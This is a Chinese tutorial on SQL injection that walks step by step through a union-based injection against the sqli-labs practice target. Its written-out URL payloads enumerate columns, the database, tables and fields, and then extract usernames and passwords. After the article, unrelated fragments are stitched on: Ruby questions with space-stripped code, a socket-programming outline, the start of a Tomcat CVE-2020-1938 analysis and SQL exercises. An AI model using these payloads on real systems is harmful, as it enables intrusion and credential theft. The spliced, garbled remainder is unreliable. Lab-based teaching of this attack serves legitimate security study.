一、SQL注入概述
1、SQL注入漏洞
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。
2、SQL注入原理
服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当中SQL语句执行,攻击者从而获得数据库中的数据,影响数据库安全和平台安全
实现SQL注入的两个条件:
用户能够控制输入
原本程序要执行的SQL语句,拼接了用户输入的恶意数据
3、SQL注入过程

4、SQL注入带来的危害

5、SQL注入示例

--空格是注释的意思,注释掉后面的语句

二、SQL注入分类
1、按照注入点类型分类
(1)数字型(整型)注入

例:sqli-labs的第一关,使用火狐浏览器的hackbar


在靶机地址后加?id=8 and 1=2,没有反应

(2)字符型注入

字符串注入测试方法



(3)搜索型注入

2、按照注入技术(执行效果)分类

三、SQL注入漏洞形成的原因
1、动态字符串构建引起

2、后台存在的问题
后台无过滤或者编码用户数据
数据库可以拼接用户传递的恶意代码
3、错误处理不当
详细的内部错误信息显示给用户或者攻击者
错误信息可以直接给攻击者提供下一步攻击帮助
4、不安全的数据库配置

四、寻找SQL注入点
1、GET方法
一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中
点击一个链接时,一般会使用该方法


2、POST方法
POST是一种向Web服务器发送信息的HTTP方法,数据无法在URL中看到,可以抓包,也可以用Hackbar中的POST,POST可以发送字节大的数据


3、其他注入点
Cookie、Host、User-Agent
4、关于注入点的总结
只要后台接收前台输入的数据,而且没有对数据进行过滤,最后直接进入到数据库,从而构成威胁
五、SQL注入过程
1、手工注入

利用sqli-labs靶机的第二关
(1)判断是否存在注入点



(2)、判断字段长度(也就是表中数据有多少列)
利用order by 语法,如下图,为什么-- 后面不是空格,是+呢,因为用+代替空格,以免空格被后面隐藏的固定语句吃掉,使--不起作用




到了4就报错,说明有3个字段
(3)、判断字段回显位置
由上一步我们知道有3个字段,我们可以利用union语法,如下图
and 1=2 是与条件,使前面的语句失效,执行union后面的查询,从而判断出回显位置
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

(4)判断数据库信息和查询数据库名
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

(5)查询数据表
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(6)查找数据库表中所有字段以及字段值
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

(7)猜解账号密码
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+



以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
这篇文章就写到这里了!
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
网络编程套接字网络编程基础知识理解源`IP`地址和目的`IP`地址理解源MAC地址和目的MAC地址认识端口号理解端口号和进程ID理解源端口号和目的端口号认识`TCP`协议认识`UDP`协议网络字节序socket编程接口`sockaddr``UDP`网络程序服务器端代码逻辑:需要用到的接口服务器端代码`udp`客户端代码逻辑`udp`客户端代码`TCP`网络程序服务器代码逻辑多个版本服务器单进程版本多进程版本多线程版本线程池版本服务器端代码客户端代码逻辑客户端代码TCP协议通讯流程TCP协议的客户端/服务器程序流程三次握手(建立连接)数据传输四次挥手(断开连接)TCP和UDP对比网络编程基础知识
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类
我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同